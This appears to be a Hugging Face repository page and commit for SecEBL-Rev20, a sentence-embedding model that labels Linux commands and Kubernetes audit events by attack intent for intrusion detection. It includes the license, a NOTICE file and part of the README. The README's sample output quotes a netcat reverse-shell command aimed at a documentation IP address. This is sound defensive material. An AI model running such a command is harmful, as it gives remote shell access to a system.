Sentence Similarity
sentence-transformers
Joblib
Safetensors
modernbert
security
intrusion-detection
behavior-analytics
intent-recognition
linux
kubernetes
audit-log
text-embeddings-inference
Instructions to use GA-177/SecEBL with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- sentence-transformers
How to use GA-177/SecEBL with sentence-transformers:
from sentence_transformers import SentenceTransformer model = SentenceTransformer("GA-177/SecEBL") sentences = [ "That is a happy person", "That is a happy dog", "That is a very happy person", "Today is a sunny day" ] embeddings = model.encode(sentences) similarities = model.similarity(embeddings, embeddings) print(similarities.shape) # [4, 4] - Notebooks
- Google Colab
- Kaggle
Commit ·
b5528bb
0
Parent(s):
Duplicate from willchen0011/SecEBL
Browse filesCo-authored-by: YUE CHEN <willchen0011@users.noreply.huggingface.co>
- .gitattributes +5 -0
- 1_Pooling/config.json +10 -0
- LICENSE +201 -0
- NOTICE +18 -0
- README.md +447 -0
- config.json +45 -0
- config_sentence_transformers.json +10 -0
- examples/README.md +24 -0
- examples/k8s/example_gold.rev20.jsonl +3 -0
- examples/k8s/example_sessions.jsonl +3 -0
- examples/linux/example_gold.rev20.jsonl +3 -0
- examples/linux/example_sessions.jsonl +3 -0
- examples/manifest.json +32 -0
- l2_artifacts/README.md +52 -0
- l2_artifacts/logreg.joblib +3 -0
- l2_artifacts/tag_risk_policy.rev20.json +1207 -0
- l2_artifacts/train_summary.json +63 -0
- model.safetensors +3 -0
- modules.json +14 -0
- rev20_tag_rfc.md +1727 -0
- schema/tags_schema_rev20.json +415 -0
- semantic_texts.jsonl +3 -0
- sentence_bert_config.json +4 -0
- special_tokens_map.json +37 -0
- tokenizer.json +0 -0
- tokenizer_config.json +945 -0
.gitattributes
ADDED
|
@@ -0,0 +1,5 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
*.safetensors filter=lfs diff=lfs merge=lfs -text
|
| 2 |
+
*.bin filter=lfs diff=lfs merge=lfs -text
|
| 3 |
+
*.onnx filter=lfs diff=lfs merge=lfs -text
|
| 4 |
+
*.joblib filter=lfs diff=lfs merge=lfs -text
|
| 5 |
+
*.jsonl filter=lfs diff=lfs merge=lfs -text
|
1_Pooling/config.json
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"word_embedding_dimension": 768,
|
| 3 |
+
"pooling_mode_cls_token": true,
|
| 4 |
+
"pooling_mode_mean_tokens": false,
|
| 5 |
+
"pooling_mode_max_tokens": false,
|
| 6 |
+
"pooling_mode_mean_sqrt_len_tokens": false,
|
| 7 |
+
"pooling_mode_weightedmean_tokens": false,
|
| 8 |
+
"pooling_mode_lasttoken": false,
|
| 9 |
+
"include_prompt": true
|
| 10 |
+
}
|
LICENSE
ADDED
|
@@ -0,0 +1,201 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
Apache License
|
| 2 |
+
Version 2.0, January 2004
|
| 3 |
+
http://www.apache.org/licenses/
|
| 4 |
+
|
| 5 |
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
| 6 |
+
|
| 7 |
+
1. Definitions.
|
| 8 |
+
|
| 9 |
+
"License" shall mean the terms and conditions for use, reproduction,
|
| 10 |
+
and distribution as defined by Sections 1 through 9 of this document.
|
| 11 |
+
|
| 12 |
+
"Licensor" shall mean the copyright owner or entity authorized by
|
| 13 |
+
the copyright owner that is granting the License.
|
| 14 |
+
|
| 15 |
+
"Legal Entity" shall mean the union of the acting entity and all
|
| 16 |
+
other entities that control, are controlled by, or are under common
|
| 17 |
+
control with that entity. For the purposes of this definition,
|
| 18 |
+
"control" means (i) the power, direct or indirect, to cause the
|
| 19 |
+
direction or management of such entity, whether by contract or
|
| 20 |
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
| 21 |
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
| 22 |
+
|
| 23 |
+
"You" (or "Your") shall mean an individual or Legal Entity
|
| 24 |
+
exercising permissions granted by this License.
|
| 25 |
+
|
| 26 |
+
"Source" form shall mean the preferred form for making modifications,
|
| 27 |
+
including but not limited to software source code, documentation
|
| 28 |
+
source, and configuration files.
|
| 29 |
+
|
| 30 |
+
"Object" form shall mean any form resulting from mechanical
|
| 31 |
+
transformation or translation of a Source form, including but
|
| 32 |
+
not limited to compiled object code, generated documentation,
|
| 33 |
+
and conversions to other media types.
|
| 34 |
+
|
| 35 |
+
"Work" shall mean the work of authorship, whether in Source or
|
| 36 |
+
Object form, made available under the License, as indicated by a
|
| 37 |
+
copyright notice that is included in or attached to the work
|
| 38 |
+
(an example is provided in the Appendix below).
|
| 39 |
+
|
| 40 |
+
"Derivative Works" shall mean any work, whether in Source or Object
|
| 41 |
+
form, that is based on (or derived from) the Work and for which the
|
| 42 |
+
editorial revisions, annotations, elaborations, or other modifications
|
| 43 |
+
represent, as a whole, an original work of authorship. For the purposes
|
| 44 |
+
of this License, Derivative Works shall not include works that remain
|
| 45 |
+
separable from, or merely link (or bind by name) to the interfaces of,
|
| 46 |
+
the Work and Derivative Works thereof.
|
| 47 |
+
|
| 48 |
+
"Contribution" shall mean any work of authorship, including
|
| 49 |
+
the original version of the Work and any modifications or additions
|
| 50 |
+
to that Work or Derivative Works thereof, that is intentionally
|
| 51 |
+
submitted to Licensor for inclusion in the Work by the copyright owner
|
| 52 |
+
or by an individual or Legal Entity authorized to submit on behalf of
|
| 53 |
+
the copyright owner. For the purposes of this definition, "submitted"
|
| 54 |
+
means any form of electronic, verbal, or written communication sent
|
| 55 |
+
to the Licensor or its representatives, including but not limited to
|
| 56 |
+
communication on electronic mailing lists, source code control systems,
|
| 57 |
+
and issue tracking systems that are managed by, or on behalf of, the
|
| 58 |
+
Licensor for the purpose of discussing and improving the Work, but
|
| 59 |
+
excluding communication that is conspicuously marked or otherwise
|
| 60 |
+
designated in writing by the copyright owner as "Not a Contribution."
|
| 61 |
+
|
| 62 |
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
| 63 |
+
on behalf of whom a Contribution has been received by Licensor and
|
| 64 |
+
subsequently incorporated within the Work.
|
| 65 |
+
|
| 66 |
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
| 67 |
+
this License, each Contributor hereby grants to You a perpetual,
|
| 68 |
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
| 69 |
+
copyright license to reproduce, prepare Derivative Works of,
|
| 70 |
+
publicly display, publicly perform, sublicense, and distribute the
|
| 71 |
+
Work and such Derivative Works in Source or Object form.
|
| 72 |
+
|
| 73 |
+
3. Grant of Patent License. Subject to the terms and conditions of
|
| 74 |
+
this License, each Contributor hereby grants to You a perpetual,
|
| 75 |
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
| 76 |
+
(except as stated in this section) patent license to make, have made,
|
| 77 |
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
| 78 |
+
where such license applies only to those patent claims licensable
|
| 79 |
+
by such Contributor that are necessarily infringed by their
|
| 80 |
+
Contribution(s) alone or by combination of their Contribution(s)
|
| 81 |
+
with the Work to which such Contribution(s) was submitted. If You
|
| 82 |
+
institute patent litigation against any entity (including a
|
| 83 |
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
| 84 |
+
or a Contribution incorporated within the Work constitutes direct
|
| 85 |
+
or contributory patent infringement, then any patent licenses
|
| 86 |
+
granted to You under this License for that Work shall terminate
|
| 87 |
+
as of the date such litigation is filed.
|
| 88 |
+
|
| 89 |
+
4. Redistribution. You may reproduce and distribute copies of the
|
| 90 |
+
Work or Derivative Works thereof in any medium, with or without
|
| 91 |
+
modifications, and in Source or Object form, provided that You
|
| 92 |
+
meet the following conditions:
|
| 93 |
+
|
| 94 |
+
(a) You must give any other recipients of the Work or Derivative
|
| 95 |
+
Works a copy of this License; and
|
| 96 |
+
|
| 97 |
+
(b) You must cause any modified files to carry prominent notices
|
| 98 |
+
stating that You changed the files; and
|
| 99 |
+
|
| 100 |
+
(c) You must retain, in the Source form of any Derivative Works
|
| 101 |
+
that You distribute, all copyright, patent, trademark, and
|
| 102 |
+
attribution notices from the Source form of the Work,
|
| 103 |
+
excluding those notices that do not pertain to any part of
|
| 104 |
+
the Derivative Works; and
|
| 105 |
+
|
| 106 |
+
(d) If the Work includes a "NOTICE" text file as part of its
|
| 107 |
+
distribution, then any Derivative Works that You distribute must
|
| 108 |
+
include a readable copy of the attribution notices contained
|
| 109 |
+
within such NOTICE file, excluding those notices that do not
|
| 110 |
+
pertain to any part of the Derivative Works, in at least one
|
| 111 |
+
of the following places: within a NOTICE text file distributed
|
| 112 |
+
as part of the Derivative Works; within the Source form or
|
| 113 |
+
documentation, if provided along with the Derivative Works; or,
|
| 114 |
+
within a display generated by the Derivative Works, if and
|
| 115 |
+
wherever such third-party notices normally appear. The contents
|
| 116 |
+
of the NOTICE file are for informational purposes only and
|
| 117 |
+
do not modify the License. You may add Your own attribution
|
| 118 |
+
notices within Derivative Works that You distribute, alongside
|
| 119 |
+
or as an addendum to the NOTICE text from the Work, provided
|
| 120 |
+
that such additional attribution notices cannot be construed
|
| 121 |
+
as modifying the License.
|
| 122 |
+
|
| 123 |
+
You may add Your own copyright statement to Your modifications and
|
| 124 |
+
may provide additional or different license terms and conditions
|
| 125 |
+
for use, reproduction, or distribution of Your modifications, or
|
| 126 |
+
for any such Derivative Works as a whole, provided Your use,
|
| 127 |
+
reproduction, and distribution of the Work otherwise complies with
|
| 128 |
+
the conditions stated in this License.
|
| 129 |
+
|
| 130 |
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
| 131 |
+
any Contribution intentionally submitted for inclusion in the Work
|
| 132 |
+
by You to the Licensor shall be under the terms and conditions of
|
| 133 |
+
this License, without any additional terms or conditions.
|
| 134 |
+
Notwithstanding the above, nothing herein shall supersede or modify
|
| 135 |
+
the terms of any separate license agreement you may have executed
|
| 136 |
+
with Licensor regarding such Contributions.
|
| 137 |
+
|
| 138 |
+
6. Trademarks. This License does not grant permission to use the trade
|
| 139 |
+
names, trademarks, service marks, or product names of the Licensor,
|
| 140 |
+
except as required for reasonable and customary use in describing the
|
| 141 |
+
origin of the Work and reproducing the content of the NOTICE file.
|
| 142 |
+
|
| 143 |
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
| 144 |
+
agreed to in writing, Licensor provides the Work (and each
|
| 145 |
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
| 146 |
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
| 147 |
+
implied, including, without limitation, any warranties or conditions
|
| 148 |
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
| 149 |
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
| 150 |
+
appropriateness of using or redistributing the Work and assume any
|
| 151 |
+
risks associated with Your exercise of permissions under this License.
|
| 152 |
+
|
| 153 |
+
8. Limitation of Liability. In no event and under no legal theory,
|
| 154 |
+
whether in tort (including negligence), contract, or otherwise,
|
| 155 |
+
unless required by applicable law (such as deliberate and grossly
|
| 156 |
+
negligent acts) or agreed to in writing, shall any Contributor be
|
| 157 |
+
liable to You for damages, including any direct, indirect, special,
|
| 158 |
+
incidental, or consequential damages of any character arising as a
|
| 159 |
+
result of this License or out of the use or inability to use the
|
| 160 |
+
Work (including but not limited to damages for loss of goodwill,
|
| 161 |
+
work stoppage, computer failure or malfunction, or any and all
|
| 162 |
+
other commercial damages or losses), even if such Contributor
|
| 163 |
+
has been advised of the possibility of such damages.
|
| 164 |
+
|
| 165 |
+
9. Accepting Warranty or Additional Liability. While redistributing
|
| 166 |
+
the Work or Derivative Works thereof, You may choose to offer,
|
| 167 |
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
| 168 |
+
or other liability obligations and/or rights consistent with this
|
| 169 |
+
License. However, in accepting such obligations, You may act only
|
| 170 |
+
on Your own behalf and on Your sole responsibility, not on behalf
|
| 171 |
+
of any other Contributor, and only if You agree to indemnify,
|
| 172 |
+
defend, and hold each Contributor harmless for any liability
|
| 173 |
+
incurred by, or claims asserted against, such Contributor by reason
|
| 174 |
+
of your accepting any such warranty or additional liability.
|
| 175 |
+
|
| 176 |
+
END OF TERMS AND CONDITIONS
|
| 177 |
+
|
| 178 |
+
APPENDIX: How to apply the Apache License to your work.
|
| 179 |
+
|
| 180 |
+
To apply the Apache License to your work, attach the following
|
| 181 |
+
boilerplate notice, with the fields enclosed by brackets "[]"
|
| 182 |
+
replaced with your own identifying information. (Do not include
|
| 183 |
+
the brackets!) The text should be enclosed in the appropriate
|
| 184 |
+
comment syntax for the file format. We also recommend that a
|
| 185 |
+
file or class name and description of purpose be included on the
|
| 186 |
+
same "printed page" as the copyright notice for easier
|
| 187 |
+
identification within third-party archives.
|
| 188 |
+
|
| 189 |
+
Copyright [yyyy] [name of copyright owner]
|
| 190 |
+
|
| 191 |
+
Licensed under the Apache License, Version 2.0 (the "License");
|
| 192 |
+
you may not use this file except in compliance with the License.
|
| 193 |
+
You may obtain a copy of the License at
|
| 194 |
+
|
| 195 |
+
http://www.apache.org/licenses/LICENSE-2.0
|
| 196 |
+
|
| 197 |
+
Unless required by applicable law or agreed to in writing, software
|
| 198 |
+
distributed under the License is distributed on an "AS IS" BASIS,
|
| 199 |
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
| 200 |
+
See the License for the specific language governing permissions and
|
| 201 |
+
limitations under the License.
|
NOTICE
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
SecEBL-Rev20
|
| 2 |
+
Copyright 2026 SecEBL contributors.
|
| 3 |
+
|
| 4 |
+
This Hugging Face repository contains SecEBL-Rev20 model artifacts, schema
|
| 5 |
+
metadata, public benchmark-subset examples, public documentation, and an
|
| 6 |
+
experimental L2 artifact. These files are licensed under Apache License,
|
| 7 |
+
Version 2.0. See LICENSE.
|
| 8 |
+
|
| 9 |
+
SecEBL-Rev20 is based on Alibaba-NLP/gte-modernbert-base, which is licensed
|
| 10 |
+
under Apache License, Version 2.0:
|
| 11 |
+
https://huggingface.co/Alibaba-NLP/gte-modernbert-base
|
| 12 |
+
|
| 13 |
+
Source code, schemas, public examples, documentation, and helper scripts in the
|
| 14 |
+
companion GitHub repository are also licensed under Apache-2.0 unless a file
|
| 15 |
+
explicitly states otherwise.
|
| 16 |
+
|
| 17 |
+
The names SecEBL and SecEBL-Rev20 are not licensed as trademarks except for
|
| 18 |
+
reasonable and customary attribution.
|
README.md
ADDED
|
@@ -0,0 +1,447 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: apache-2.0
|
| 3 |
+
base_model: Alibaba-NLP/gte-modernbert-base
|
| 4 |
+
library_name: sentence-transformers
|
| 5 |
+
pipeline_tag: sentence-similarity
|
| 6 |
+
tags:
|
| 7 |
+
- security
|
| 8 |
+
- intrusion-detection
|
| 9 |
+
- behavior-analytics
|
| 10 |
+
- intent-recognition
|
| 11 |
+
- linux
|
| 12 |
+
- kubernetes
|
| 13 |
+
- audit-log
|
| 14 |
+
- sentence-transformers
|
| 15 |
+
---
|
| 16 |
+
|
| 17 |
+
# SecEBL-Rev20
|
| 18 |
+
|
| 19 |
+
**SecEBL** stands for **Security Event Behavior Labeler**.
|
| 20 |
+
|
| 21 |
+
SecEBL-Rev20 is an intent-recognition model for security telemetry. It maps a
|
| 22 |
+
Linux command line or normalized Kubernetes AuditLog event into ranked
|
| 23 |
+
behavior-intent labels, so downstream detection can reason about what an actor
|
| 24 |
+
is trying to do instead of only matching fixed strings, allowlists, blacklists,
|
| 25 |
+
or opaque risk scores.
|
| 26 |
+
|
| 27 |
+
Project repository: [github.com/EBWi11/SecEBL](https://github.com/EBWi11/SecEBL)
|
| 28 |
+
|
| 29 |
+
## At A Glance
|
| 30 |
+
|
| 31 |
+
| Area | Current release summary |
|
| 32 |
+
| --- | --- |
|
| 33 |
+
| Stable public API | L1 behavior-intent labeling with ranked `top_labels`. |
|
| 34 |
+
| Behavior vocabulary | 361 Rev20 behavior-intent tags across 12 security behavior groups. |
|
| 35 |
+
| Training scale | 86,285 internal corpus rows, 82,895 usable training observations, and 118,858 effective command/tag training pairs. |
|
| 36 |
+
| Corpus breadth | Linux commands plus normalized Kubernetes AuditLog events, covering roughly 2,700 distinct Linux first-token/tool forms and common security/operations tooling. |
|
| 37 |
+
| Benchmark scale | 12,594-row internal Linux command benchmark covering all 361 behavior tags, 663 internal Linux sessions, and a 6,286,568-row / 102,117-session pressure stream. |
|
| 38 |
+
| L1 accuracy | 98.49% top5 any-hit and 96.44% micro recall@5 on the internal Linux command benchmark; 100.00% top5 coverage on the K8s evaluation set. |
|
| 39 |
+
| Inference performance | RTX 5090 spot-check: mean 5,308.72 unique cmdlines/s with FP16 + SDPA; exact raw-event cache lookup measured separately at about 1.8M rows/s. |
|
| 40 |
+
| Training setup | `Alibaba-NLP/gte-modernbert-base`, MNRL with hard-negative-aware batches, RTX 5090 32GB, 128 full-pass epochs, batch size 112, about 16.2 hours. |
|
| 41 |
+
|
| 42 |
+
The public examples include a reviewed, publicly releasable subset of the
|
| 43 |
+
internal Linux final benchmark plus normalized Kubernetes AuditLog examples:
|
| 44 |
+
10,520 Linux rows across 531 sessions and 144 K8s rows across 46 sessions. They
|
| 45 |
+
exist so users can run the model locally and inspect outputs without access to
|
| 46 |
+
private telemetry.
|
| 47 |
+
The full training corpora, full internal benchmarks, private pressure-stream
|
| 48 |
+
rows, and private run logs are not redistributed because parts of them contain
|
| 49 |
+
real telemetry or real operational context.
|
| 50 |
+
|
| 51 |
+
## First-Time User Path
|
| 52 |
+
|
| 53 |
+
Use the companion GitHub repository for the runnable code and this Hugging Face
|
| 54 |
+
repository for model artifacts:
|
| 55 |
+
|
| 56 |
+
```bash
|
| 57 |
+
git clone https://github.com/EBWi11/SecEBL.git
|
| 58 |
+
cd SecEBL
|
| 59 |
+
|
| 60 |
+
git lfs install
|
| 61 |
+
git clone https://huggingface.co/willchen0011/SecEBL model_artifacts
|
| 62 |
+
|
| 63 |
+
pip install -e .
|
| 64 |
+
scripts/run_examples.sh
|
| 65 |
+
```
|
| 66 |
+
|
| 67 |
+
After the script finishes, inspect:
|
| 68 |
+
|
| 69 |
+
```text
|
| 70 |
+
runs/examples/linux_l1/predictions.jsonl
|
| 71 |
+
runs/examples/l2/example_linux_session_results.json
|
| 72 |
+
```
|
| 73 |
+
|
| 74 |
+
L1 is the stable behavior-labeling API. It outputs ranked behavior evidence,
|
| 75 |
+
not an intrusion verdict. L2 is optional and experimental; it runs only when an
|
| 76 |
+
L2 artifact such as `model_artifacts/l2_artifacts/logreg.joblib` is available.
|
| 77 |
+
|
| 78 |
+
## What This Repository Contains
|
| 79 |
+
|
| 80 |
+
This Hugging Face repository is the model artifact bundle.
|
| 81 |
+
|
| 82 |
+
| Path | Purpose |
|
| 83 |
+
| --- | --- |
|
| 84 |
+
| `model.safetensors`, tokenizer/config files | SentenceTransformers-compatible SecEBL-Rev20 embedding model. |
|
| 85 |
+
| `semantic_texts.jsonl` | Rev20 semantic label texts used by the L1 retrieval path. |
|
| 86 |
+
| `schema/tags_schema_rev20.json` | Canonical Rev20 behavior vocabulary, 361 tags across 12 groups. |
|
| 87 |
+
| `examples/linux/` | Public subset of the internal Linux final benchmark and matching Rev20 labels. |
|
| 88 |
+
| `examples/k8s/` | Public normalized Kubernetes AuditLog examples and matching Rev20 labels. |
|
| 89 |
+
| `examples/manifest.json` | Public example subset counts and distribution. |
|
| 90 |
+
| `rev20_tag_rfc.md` | Rev20 behavior-tag labeling RFC and boundary examples. |
|
| 91 |
+
| `l2_artifacts/logreg.joblib` | Experimental L2 logistic-regression session scorer. |
|
| 92 |
+
| `l2_artifacts/tag_risk_policy.rev20.json` | Matching L2 feature policy. Its tag-selection settings are internal to L2 feature extraction. |
|
| 93 |
+
| `l2_artifacts/train_summary.json` | Public aggregate L2 training/evaluation summary with no raw rows or real session identifiers. |
|
| 94 |
+
| `LICENSE`, `NOTICE` | Model license and attribution notices. |
|
| 95 |
+
|
| 96 |
+
This repository does not include the runnable helper scripts. Use
|
| 97 |
+
[EBWi11/SecEBL](https://github.com/EBWi11/SecEBL) for the Python package and
|
| 98 |
+
one-command test script. The same public benchmark-subset examples are included
|
| 99 |
+
here for convenience.
|
| 100 |
+
|
| 101 |
+
## Output Shape
|
| 102 |
+
|
| 103 |
+
L1 predictions expose ranked `top_labels`:
|
| 104 |
+
|
| 105 |
+
```json
|
| 106 |
+
{
|
| 107 |
+
"observation_id": "event:0",
|
| 108 |
+
"command": "nc -e /bin/sh 203.0.113.10 4444",
|
| 109 |
+
"top_labels": [
|
| 110 |
+
{
|
| 111 |
+
"label_id": "spawn_reverse_shell",
|
| 112 |
+
"score": 0.811,
|
| 113 |
+
"axis": "execution_and_process"
|
| 114 |
+
},
|
| 115 |
+
{
|
| 116 |
+
"label_id": "connect_external_service",
|
| 117 |
+
"score": 0.488,
|
| 118 |
+
"axis": "network"
|
| 119 |
+
}
|
| 120 |
+
]
|
| 121 |
+
}
|
| 122 |
+
```
|
| 123 |
+
|
| 124 |
+
L1 does not emit `behavior_tags` and does not apply a user-facing tag-selection
|
| 125 |
+
threshold. `behavior_tags[]` is the field used by training and evaluation label
|
| 126 |
+
files. Runtime prediction output is ranked `top_labels`.
|
| 127 |
+
|
| 128 |
+
## Why Intent Labels Matter
|
| 129 |
+
|
| 130 |
+
Traditional IDS pipelines often depend on signatures, rules, allowlists,
|
| 131 |
+
blacklists, and low-explainability tabular ML. Those tools still matter, but
|
| 132 |
+
they can struggle when legitimate tools are used in suspicious ways, when tool
|
| 133 |
+
syntax drifts quickly, or when the same behavior appears in different telemetry
|
| 134 |
+
